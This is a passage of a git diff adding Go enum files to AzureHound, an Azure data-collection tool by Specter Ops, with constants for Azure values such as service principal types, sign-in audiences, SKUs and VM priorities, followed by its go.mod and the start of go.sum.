ScmType = "GitHub" + LocalGitScm ScmType = "LocalGit" + NoneScm ScmType = "None" + OneDriveScm ScmType = "OneDrive" + TfsScm ScmType = "Tfs" + VSOScm ScmType = "VSO" + VSTSRMScm ScmType = "VSTSRM" +) diff --git a/enums/serviceprincipaltype.go b/enums/serviceprincipaltype.go new file mode 100644 index 0000000..dff6e80 --- /dev/null +++ b/enums/serviceprincipaltype.go @@ -0,0 +1,42 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type ServicePrincipalType string + +const ( + // A service principal that represents an application or service. + // The appId property identifies the associated app registration, and matches the appId of an application, possibly + // from a different tenant. If the associated app registration is missing, tokens are not issued for the service + // principal. + ServicePrincipalTypeApplication ServicePrincipalType = "Application" + + // A service principal that represents a managed identity. Service principals representing managed identities can be + // granted access and permissions, but cannot be updated or modified directly. + ServicePrincipalTypeManagedIdentities ServicePrincipalType = "ManagedIdentities" + + // A service principal that represents an app created before app registrations, or through legacy experiences. + // Legacy service principal can have credentials, service principal names, reply URLs, and other properties which + // are editable by an authorized user, but does not have an associated app registration. The appId value does not + // associate the service principal with an app registration. The service principal can only be used in the tenant + // where it was created. + ServicePrincipalTypeLegacy ServicePrincipalType = "Legacy" + + // For internal use. + ServicePrincipalTypeSocialIDP ServicePrincipalType = "SocialIdp" +) diff --git a/enums/share_permissions.go b/enums/share_permissions.go new file mode 100644 index 0000000..40a3eb4 --- /dev/null +++ b/enums/share_permissions.go @@ -0,0 +1,27 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type DefaultSharePermission string + +const ( + NoPermission DefaultSharePermission = "None" + ShareContributor DefaultSharePermission = "StorageFileDataSmbShareContributor" + ShareElevatedContributor DefaultSharePermission = "StorageFileDataSmbShareElevatedContributor" + ShareReader DefaultSharePermission = "StorageFileDataSmbShareReader" +) diff --git a/enums/signinaudience.go b/enums/signinaudience.go new file mode 100644 index 0000000..de9ef50 --- /dev/null +++ b/enums/signinaudience.go @@ -0,0 +1,35 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +// Specifies the Microsoft accounts that are supported for the current application. +type SigninAudience string + +const ( + // Users with a Microsoft work or school account in my organization’s Azure AD tenant (single-tenant). + SigninAudienceMyOrg SigninAudience = "AzureADMyOrg" + + // Users with a Microsoft work or school account in any organization’s Azure AD tenant (multi-tenant). + SigninAudienceMultiOrg SigninAudience = "AzureADMultipleOrgs" + + // Users with a personal Microsoft account, or a work or school account in any organization’s Azure AD tenant. + SigninAudienceMultiOrgAndAccount SigninAudience = "AzureADandPersonalMicrosoftAccount" + + // Users with a personal Microsoft account only. + SigninAudienceAccount SigninAudience = "PersonalMicrosoftAccount" +) diff --git a/enums/signintype.go b/enums/signintype.go new file mode 100644 index 0000000..51d59af --- /dev/null +++ b/enums/signintype.go @@ -0,0 +1,27 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type SigninType string + +const ( + SigninTypeEmail SigninType = "emailAddress" + SigninTypeUserName SigninType = "userName" + SigninTypeFederated SigninType = "federated" + SigninTypeUserPrincipalName SigninType = "userPrincipalName" +) diff --git a/enums/site_availability_state.go b/enums/site_availability_state.go new file mode 100644 index 0000000..fe5b054 --- /dev/null +++ b/enums/site_availability_state.go @@ -0,0 +1,26 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type SiteAvailabilityState string + +const ( + DisasterRecoveryModeAvailabilityState SiteAvailabilityState = "DisasterRecoveryMode" + LimitedAvailabilityState SiteAvailabilityState = "Limited" + NormalAvailabilityState SiteAvailabilityState = "Normal" +) diff --git a/enums/site_load_balancing.go b/enums/site_load_balancing.go new file mode 100644 index 0000000..bf36e4a --- /dev/null +++ b/enums/site_load_balancing.go @@ -0,0 +1,29 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type SiteLoadBalancing string + +const ( + LeastRequestsLoadBalancing SiteLoadBalancing = "LeastRequests" + LeastResponseTimeLoadBalancing SiteLoadBalancing = "LeastResponseTime" + PerSiteRoundRobinLoadBalancing SiteLoadBalancing = "PerSiteRoundRobin" + RequestHashLoadBalancing SiteLoadBalancing = "RequestHash" + WeightedRoundRobinLoadBalancing SiteLoadBalancing = "WeightedRoundRobin" + WeightedTotalTrafficLoadBalancing SiteLoadBalancing = "WeightedTotalTraffic" +) diff --git a/enums/sku_converstion_status.go b/enums/sku_converstion_status.go new file mode 100644 index 0000000..a984746 --- /dev/null +++ b/enums/sku_converstion_status.go @@ -0,0 +1,26 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type SkuConversionStatus string + +const ( + FailedConversionStatus SkuConversionStatus = "Failed" + InProgressConversionStatus SkuConversionStatus = "InProgress" + SucceededConversionStatus SkuConversionStatus = "Succeeded" +) diff --git a/enums/sku_name.go b/enums/sku_name.go new file mode 100644 index 0000000..b8eb124 --- /dev/null +++ b/enums/sku_name.go @@ -0,0 +1,37 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type SkuName string + +const ( + SKU_Premium_LRS SkuName = "Premium_LRS" + SKU_Premium_ZRS SkuName = "Premium_ZRS" + SKU_Standard_GRS SkuName = "Standard_GRS" + SKU_Standard_GZRS SkuName = "Standard_GZRS" + SKU_Standard_LRS SkuName = "Standard_LRS" + SKU_Standard_RAGRS SkuName = "Standard_RAGRS" + SKU_Standard_RAGZRS SkuName = "Standard_RAGZRS" + SKU_Standard_ZRS SkuName = "Standard_ZRS" + SKU_Basic SkuName = "Basic" + SKU_Free SkuName = "Free" + SKU_NotSpecified SkuName = "NotSpecified" + SKU_Premium SkuName = "Premium" + SKU_Shared SkuName = "Shared" + SKU_Standard SkuName = "Standard" +) diff --git a/enums/spendinglimit.go b/enums/spendinglimit.go new file mode 100644 index 0000000..7052e65 --- /dev/null +++ b/enums/spendinglimit.go @@ -0,0 +1,26 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type SpendingLimit string + +const ( + SpendingLimitCurrentPeriodOff SpendingLimit = "CurrentPeriodOff" + SpendingLimitOff SpendingLimit = "Off" + SpendingLimitOn SpendingLimit = "On" +) diff --git a/enums/ssl_state.go b/enums/ssl_state.go new file mode 100644 index 0000000..129eb44 --- /dev/null +++ b/enums/ssl_state.go @@ -0,0 +1,26 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type SslState string + +const ( + DisabledSslState SslState = "Disabled" + IpBasedEnabledSslState SslState = "IpBasedEnabled" + SniEnabledSslState SslState = "SniEnabled" +) diff --git a/enums/ssomode.go b/enums/ssomode.go new file mode 100644 index 0000000..f908563 --- /dev/null +++ b/enums/ssomode.go @@ -0,0 +1,27 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type SSOMode string + +const ( + SSOModePassword SSOMode = "password" + SSOModeSaml SSOMode = "saml" + SSOModeNotSupported SSOMode = "notSupported" + SSOModeOIDC SSOMode = "oidc" +) diff --git a/enums/statuslevel.go b/enums/statuslevel.go new file mode 100644 index 0000000..2bc84fa --- /dev/null +++ b/enums/statuslevel.go @@ -0,0 +1,26 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type StatusLevel string + +const ( + StatusLevelError StatusLevel = "Error" + StatusLevelInfo StatusLevel = "Info" + StatusLevelWarning StatusLevel = "Warning" +) diff --git a/enums/storage_account_access_tier.go b/enums/storage_account_access_tier.go new file mode 100644 index 0000000..d6ddc3e --- /dev/null +++ b/enums/storage_account_access_tier.go @@ -0,0 +1,26 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type StorageAccountAccessTier string + +const ( + CoolAccessTier StorageAccountAccessTier = "Cool" + HotAccessTier StorageAccountAccessTier = "Hot" + PremiumAccessTier StorageAccountAccessTier = "Premium" +) diff --git a/enums/storage_account_provisioning_state.go b/enums/storage_account_provisioning_state.go new file mode 100644 index 0000000..a1c7e8a --- /dev/null +++ b/enums/storage_account_provisioning_state.go @@ -0,0 +1,26 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type ProvisioningState string + +const ( + CreatingState ProvisioningState = "Creating" + ResolvingDNSState ProvisioningState = "ResolvingDNS" + SucceededState ProvisioningState = "Succeeded" +) diff --git a/enums/storage_account_status.go b/enums/storage_account_status.go new file mode 100644 index 0000000..b951976 --- /dev/null +++ b/enums/storage_account_status.go @@ -0,0 +1,25 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type AccountStatus string + +const ( + AvailableStatus AccountStatus = "available" + UnavailableStatus AccountStatus = "unavailable" +) diff --git a/enums/storage_container_public_access.go b/enums/storage_container_public_access.go new file mode 100644 index 0000000..47c9523 --- /dev/null +++ b/enums/storage_container_public_access.go @@ -0,0 +1,26 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type PublicAccess string + +const ( + BlobPublicAccess PublicAccess = "Blob" + ContainerPublicAccess PublicAccess = "Container" + NoPublicAccess PublicAccess = "None" +) diff --git a/enums/storagetype.go b/enums/storagetype.go new file mode 100644 index 0000000..a1754cb --- /dev/null +++ b/enums/storagetype.go @@ -0,0 +1,29 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type StorageType string + +const ( + StorageTypePremium_LRS StorageType = "Premium_LRS" + StorageTypePremium_ZRS StorageType = "Premium_ZRS" + StorageTypeStandardSSD_LRS StorageType = "StandardSSD_LRS" + StorageTypeStandardSSD_ZRS StorageType = "StandardSSD_ZRS" + StorageTypeStandard_LRS StorageType = "Standard_LRS" + StorageTypeUltraSSD_LRS StorageType = "UltraSSD_LRS" +) diff --git a/enums/subscriptionstate.go b/enums/subscriptionstate.go new file mode 100644 index 0000000..c23a17e --- /dev/null +++ b/enums/subscriptionstate.go @@ -0,0 +1,28 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type SubscriptionState string + +const ( + SubscriptionStateDeleted SubscriptionState = "Deleted" + SubscriptionStateDisabled SubscriptionState = "Disabled" + SubscriptionStateEnabled SubscriptionState = "Enabled" + SubscriptionStatePastDue SubscriptionState = "PastDue" + SubscriptionStateWarned SubscriptionState = "Warned" +) diff --git a/enums/tenantcategory.go b/enums/tenantcategory.go new file mode 100644 index 0000000..aae66f8 --- /dev/null +++ b/enums/tenantcategory.go @@ -0,0 +1,27 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +// Category of the tenant. +type TenantCategory string + +const ( + TenantCategoryHome TenantCategory = "Home" + TenantCategoryManagedBy TenantCategory = "ManagedBy" + TenantCategoryProjectedBy TenantCategory = "ProjectedBy" +) diff --git a/enums/trusttype.go b/enums/trusttype.go new file mode 100644 index 0000000..d9bffe0 --- /dev/null +++ b/enums/trusttype.go @@ -0,0 +1,32 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +// Type of trust for the joined device. +type TrustType string + +const ( + // Indicates BYO personal device + TrustTypeWorkplace TrustType = "Workplace" + + // Cloud only joined devices + TrustTypeAzureAD TrustType = "AzureAd" + + // On-premises domain joined devices joined to Azure AD + TrustTypeServerAD TrustType = "ServerAd" +) diff --git a/enums/usage_state.go b/enums/usage_state.go new file mode 100644 index 0000000..9d501af --- /dev/null +++ b/enums/usage_state.go @@ -0,0 +1,25 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type UsageState string + +const ( + ExceededUsageState UsageState = "Exceeded" + NormalUsageState UsageState = "Normal" +) diff --git a/enums/vaultprovisioningstate.go b/enums/vaultprovisioningstate.go new file mode 100644 index 0000000..2243e91 --- /dev/null +++ b/enums/vaultprovisioningstate.go @@ -0,0 +1,26 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +// Provisioning state of the vault. +type VaultProvisioningState string + +const ( + VaultProvisioningStateRegisteringDns VaultProvisioningState = "RegisteringDns" + VaultProvisioningStateSucceeded VaultProvisioningState = "Succeeded" +) diff --git a/enums/vaultsku.go b/enums/vaultsku.go new file mode 100644 index 0000000..4d6d4fc --- /dev/null +++ b/enums/vaultsku.go @@ -0,0 +1,26 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +// SKU name to specify whether the key vault is a standard vault or a premium vault. +type VaultSku string + +const ( + VaultSkuPremium VaultSku = "premium" + VaultSkuStandard VaultSku = "standard" +) diff --git a/enums/vmdeleteoption.go b/enums/vmdeleteoption.go new file mode 100644 index 0000000..0297df2 --- /dev/null +++ b/enums/vmdeleteoption.go @@ -0,0 +1,25 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type VMDeleteOption string + +const ( + VMDeleteOptionDelete VMDeleteOption = "Delete" + VMDeleteOptionDetatch VMDeleteOption = "Detatch" +) diff --git a/enums/vmevictionpolicy.go b/enums/vmevictionpolicy.go new file mode 100644 index 0000000..72f4d4e --- /dev/null +++ b/enums/vmevictionpolicy.go @@ -0,0 +1,25 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type VMEvictionPolicy string + +const ( + VMEvictionPolicyDeallocate VMEvictionPolicy = "Deallocate" + VMEvictionPolicyDelete VMEvictionPolicy = "Delete" +) diff --git a/enums/vmpriority.go b/enums/vmpriority.go new file mode 100644 index 0000000..9454367 --- /dev/null +++ b/enums/vmpriority.go @@ -0,0 +1,26 @@ +// Copyright (C) 2022 Specter Ops, Inc. +// +// This file is part of AzureHound. +// +// AzureHound is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// AzureHound is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program. If not, see . + +package enums + +type VMPriority string + +const ( + VMPriorityLow VMPriority = "Low" + VMPriorityRegular VMPriority = "Regular" + VMPrioritySpot VMPriority = "Spot" +) diff --git a/go.mod b/go.mod new file mode 100644 index 0000000..7ac6e40 --- /dev/null +++ b/go.mod @@ -0,0 +1,43 @@ +module github.com/bloodhoundad/azurehound/v2 + +go 1.20 + +require ( + github.com/go-logr/logr v1.2.0 + github.com/gofrs/uuid v4.1.0+incompatible + github.com/golang-jwt/jwt v3.2.2+incompatible + github.com/judwhite/go-svc v1.2.1 + github.com/manifoldco/promptui v0.9.0 + github.com/rs/zerolog v1.26.0 + github.com/spf13/cobra v1.8.1 + github.com/spf13/pflag v1.0.5 + github.com/spf13/viper v1.10.1 + github.com/stretchr/testify v1.7.0 + github.com/youmark/pkcs8 v0.0.0-20201027041543-1326539a0a0a + go.uber.org/mock v0.2.0 + golang.org/x/net v0.23.0 + golang.org/x/sys v0.18.0 +) + +require ( + github.com/chzyer/readline v0.0.0-20180603132655-2972be24d48e // indirect + github.com/davecgh/go-spew v1.1.1 // indirect + github.com/fsnotify/fsnotify v1.5.1 // indirect + github.com/hashicorp/hcl v1.0.0 // indirect + github.com/inconshreveable/mousetrap v1.1.0 // indirect + github.com/magiconair/properties v1.8.5 // indirect + github.com/mitchellh/mapstructure v1.4.3 // indirect + github.com/pelletier/go-toml v1.9.4 // indirect + github.com/pmezard/go-difflib v1.0.0 // indirect + github.com/spf13/afero v1.6.0 // indirect + github.com/spf13/cast v1.4.1 // indirect + github.com/spf13/jwalterweatherman v1.1.0 // indirect + github.com/subosito/gotenv v1.2.0 // indirect + golang.org/x/crypto v0.21.0 // indirect + golang.org/x/mod v0.8.0 // indirect + golang.org/x/text v0.14.0 // indirect + golang.org/x/tools v0.6.0 // indirect + gopkg.in/ini.v1 v1.66.2 // indirect + gopkg.in/yaml.v2 v2.4.0 // indirect + gopkg.in/yaml.v3 v3.0.1 // indirect +) diff --git a/go.sum b/go.sum new file mode 100644 index 0000000..caf00fb --- /dev/null +++ b/go.sum @@ -0,0 +1,827 @@ +cloud.google.com/go v0.26.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= +cloud.google.com/go v0.34.0/go.mod h1:aQUYkXzVsufM+DwF1aE+0xfcU+56JwCaLick0ClmMTw= +cloud.google.com/go v0.38.0/go.mod h1:990N+gfupTy94rShfmMCWGDn0LpTmnzTp2qbd1dvSRU= +cloud.google.com/go v0.44.1/go.mod h1:iSa0KzasP4Uvy3f1mN/7PiObzGgflwredwwASm/v6AU= +cloud.google.com/go v0.44.2/go.mod h1:60680Gw3Yr4ikxnPRS/oxxkBccT6SA1yMk63TGekxKY= +cloud.google.com/go v0.45.1/go.mod h1:RpBamKRgapWJb87xiFSdk4g1CME7QZg3uwTez+TSTjc= +cloud.google.com/go v0.46.3/go.mod h1:a6bKKbmY7er1mI7TEI4lsAkts/mkhTSZK8w33B4RAg0= +cloud.google.com/go v0.50.0/go.mod h1:r9sluTvynVuxRIOHXQEHMFffphuXHOMZMycpNR5e6To= +cloud.google.com/go v0.52.0/go.mod h1:pXajvRH/6o3+F9jDHZWQ5PbGhn+o8w9qiu/CffaVdO4= +cloud.google.com/go v0.53.0/go.mod h1:fp/UouUEsRkN6ryDKNW/Upv/JBKnv6WDthjR6+vze6M= +cloud.google.com/go v0.54.0/go.mod h1:1rq2OEkV3YMf6n/9ZvGWI3GWw0VoqH/1x2nd8Is/bPc= +cloud.google.com/go v0.56.0/go.mod h1:jr7tqZxxKOVYizybht9+26Z/gUq7tiRzu+ACVAMbKVk= +cloud.google.com/go v0.57.0/go.mod h1:oXiQ6Rzq3RAkkY7N6t3TcE6jE+CIBBbA36lwQ1JyzZs= +cloud.google.com/go v0.62.0/go.mod h1:jmCYTdRCQuc1PHIIJ/maLInMho30T/Y0M4hTdTShOYc= +cloud.google.com/go v0.65.0/go.mod h1:O5N8zS7uWy9vkA9vayVHs65eM1ubvY4h553ofrNHObY= +cloud.google.com/go v0.72.0/go.mod h1:M+5Vjvlc2wnp6tjzE102Dw08nGShTscUx2nZMufOKPI= +cloud.google.com/go v0.74.0/go.mod h1:VV1xSbzvo+9QJOxLDaJfTjx5e+MePCpCWwvftOeQmWk= +cloud.google.com/go v0.78.0/go.mod h1:QjdrLG0uq+YwhjoVOLsS1t7TW8fs36kLs4XO5R5ECHg= +cloud.google.com/go v0.79.0/go.mod h1:3bzgcEeQlzbuEAYu4mrWhKqWjmpprinYgKJLgKHnbb8= +cloud.google.com/go v0.81.0/go.mod h1:mk/AM35KwGk/Nm2YSeZbxXdrNK3KZOYHmLkOqC2V6E0= +cloud.google.com/go v0.83.0/go.mod 